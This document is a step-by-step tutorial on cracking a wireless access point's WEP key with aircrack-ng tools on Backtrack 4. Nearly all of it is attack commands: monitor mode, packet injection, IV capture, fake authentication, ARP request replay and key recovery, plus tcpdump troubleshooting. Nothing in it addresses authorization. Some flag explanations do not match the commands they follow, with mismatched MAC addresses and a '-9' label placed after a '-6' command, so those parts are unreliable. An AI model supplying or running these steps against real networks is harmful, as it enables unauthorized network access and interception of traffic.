To crack the
WEP key for an access point, we need to gather lots of initialization
vectors (IVs). Normal network traffic does not typically generate these
IVs very quickly. Theoretically, if you are patient, you can
gather sufficient IVs to crack the WEP key by simply listening to the
network traffic and saving them. Since none of us are patient, we use a
technique called injection to speed up the process. Injection involves
having the access point (AP) resend selected packets over and over very
rapidly. This allows us to capture a large number of IVs in a short
period of time.
Equipments used
Wifi Adaptor : Alfa AWUS036H (available on eBay & Amazon)
Software : Backtrack 4 (Free download from http://www.backtrack-linux.org/)
Step 1 – Start the wireless interface in monitor mode on AP channel
airmon-ng start wlan1 6
starts wifi interface in channel 6
Step 2 – Test Wireless Device Packet Injection
aireplay-ng -6 -e infosec -a 00:1B:11:24:27:2E wlan1
-9 means injection
-a 00:1B:11:24:27:2E is the access point MAC address
Step 3 – Start airodump-ng to capture the IVs
airodump-ng -c 6 –bssid 00:1B:11:24:27:2E -w output wlan1
Step 4 – Use aireplay-ng to do a fake authentication with the access point
In order for an access point to accept a packet, the source MAC address
must already be associated. If the source MAC address you are injecting
is not associated then the AP ignores the packet and sends out a
“DeAuthentication” packet in cleartext. In this state, no new IVs are
created because the AP is ignoring all the injected packets.
aireplay-ng -1 0 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
-1 means fake authentication
0 reassociation timing in seconds
-e infosec is the wireless network name
-a 00:14:6C:7E:40:80 is the access point MAC address
-h 00:0F:B5:88:AC:82 is our card MAC address
OR
aireplay-ng -1 2 -o 1 -q 10 -e infosec -a 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
2 – Reauthenticate every 2 seconds.
-o 1 – Send only one set of packets at a time. Default is multiple and this confuses some APs.
-q 10 – Send keep alive packets every 10 seconds.
Troubleshooting Tips
Some access points are configured to only allow selected MAC addresses
to associate and connect. If this is the case, you will not be able to
successfully do fake authentication unless you know one of the MAC
addresses on the allowed list. If you suspect this is the problem, use
the following command while trying to do fake authentication. Start
another session and…
Run: tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”
You would then look for error messages.
If at any time you wish to confirm you are properly associated is to
use tcpdump and look at the packets. Start another session and…
Run: “tcpdump -n -e -s0 -vvv -i wlan1”
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82
SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from
nonassociated station
Notice that the access point
(00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are
not associated. Meaning, the AP will not process or accept the injected
packets.
If you want to select only the DeAuth packets with tcpdump
then you can use: “tcpdump -n -e -s0 -vvv -i wlan1 | grep -i DeAuth”.
You may need to tweak the phrase “DeAuth” to pick out the exact packets
you want.
Step 5 – Start aireplay-ng in ARP request replay mode
aireplay-ng -3 -b 00:1B:11:24:27:2E -h 00:c0:ca:27:e5:6a wlan1
Step 6 – Run aircrack-ng to obtain the WEP key
aircrack-ng -b 00:1B:11:24:27:2E output*.cap
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